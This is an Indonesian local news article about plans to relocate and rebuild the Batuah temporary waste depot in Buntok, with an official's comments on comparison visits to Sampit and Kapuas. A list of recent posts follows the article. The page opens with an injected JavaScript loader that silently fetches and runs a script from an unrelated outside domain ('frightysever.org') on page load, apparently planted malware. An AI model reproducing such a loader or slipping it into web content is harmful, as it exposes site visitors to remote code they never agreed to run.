(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pemindahan TPS Batuah Buntok Belum Ada Lokasi Strategis


BUNTOK, Banyak usulan agar memindahkan Tempat Pembuangan Sampah Sementara (TPS) di Batuah, Buntok. Kepala DLH Barsel melalui Kabid Pengelolaan Sampah Limbah B3 dan Peningkatan Kapasitas Lingkungan Hidup M Nanang Shalahuddin mengatakan, saat ini masih dicari lokasi yang strategis sebagai pengganti.

“Kita memang sudah ada membahas masalah ini. Namun hingga saat ini masih belum mendapatkan lokasi strategis untuk TPS sampah selain di Batuah tersebut yang merupakan tanah milik Pemerintah,” kata Nanang kepada Kanalkalimantan.com, di kantornya.

Ia juga mengungkapkan, terkait hal tersebut sudah melakukan studi banding ke Kabupaten Kotim di Sampit dan Kabupaten Kapuas terkait lokasi Depo sampah atau TPS sampah mereka yang ada di sana. Untuk Sampit, letak TPS atau Depo sampah ternya di lingkungan padat penduduk, khususnya lingkungan yang akses masyarakat mudah membuang sampah secara langsung. Baik itu perorangan, KSM atau RT yang dikelola secara mandiri.

“Dari yang kita lihat, untuk lokasi strategis TPS atau depo sampah memang harus di lingkungan yang padat penduduk sehingga masyarakat setempat mudah secara langsung untuk ke lokasi membuang sampah,” ucap Nanang.

Dijelaskan olehnya, walaupun lokasi depo sampah berada di area padat penduduk, namun seperti di Sampit, lokasi depo sampahnya dibuat secara kusus seperti bangunan gedung dan dikelola secara baik. Sehingga untuk limbah dan bau sampah tidak sampai ke luar area depo.

“Jadi lokasi depo sampahnya kusus dibuat seperti area gedung perkantoran dan jadwal pembuangan sampah terjadwal, sehingga jika sudah lewat jam yang ditentukan, untuk sampah di area depo sudah habis di angkut ke pembuangan sampah akhir,” beber Nanang.

Masih kata Nanang, sehubungan dari hasil studi banding tersebut, pihaknya berencana kalau memang di izinkan nantinya. Untuk lokasi depo sampah yang ada di Batuah akan dibuat juga seperti di Sampit, sehingga kelihatan rapi dan tidak kumuh lagi.

“Mengingat lokasi Batuah cukup strategis, dan tentunya dengan pembuatan bangunan yang seperti ada di Kabupaten yang sudah kita kunjungi dan pengelolaan sampah yang baik kiranya tidak akan menjadi keluhan warga lagi,” ujar Nanang.

Ditambahkan olehnya sekaligus berharap bahwa pihaknya telah membuat himbawan terkait aturan waktu pembuangan sampah dan aturan sampah yang tidak bisa dibuang di depo sampah Batuah seperti limbah hasil bongkarang bangunan atau proyek.

“Kita mohan kerjasamanya untuk hal tersebut, agar lokasi depo sampah yang di Batuah tidak terlihat kumuh,” pungkas Nanang.(digdo)

Reporter : Digdo
Editor : Chell


Desy Arfianty

Recent Posts

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

19 menit ago

Pansus III DPRD Kotabaru Pelajari Tata Kelola Air Tangerang

KANALKALIMANTAN.COM, KOTABARU - Dalam rangka pembahasan Rancangan Peraturan Daerah (Raperda) tentang Pengelolaan Sumber Daya Air,… Read More

14 jam ago

Kuasa Hukum Keluarga Juwita Siap Tambah Barang Bukti dan Saksi

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum keluarga Juwita berencana menambah barang bukti dan saksi tambahan… Read More

15 jam ago

Peringati Hari Malaria Sedunia, Ini Pesan Wabup Banjar

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi membuka pertemuan koordinasi lintas sektor… Read More

16 jam ago

Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan

KANALKALIMANTAN.COM, BANJARBARU - Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara… Read More

21 jam ago

Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer

KANALKALIMANTAN.COM, BANJARBARU - Oditurat Militer (Odmil) III-15 Banjarmasin melimpahlan perkara kasus pembunuhan berencana yang dilakukan… Read More

24 jam ago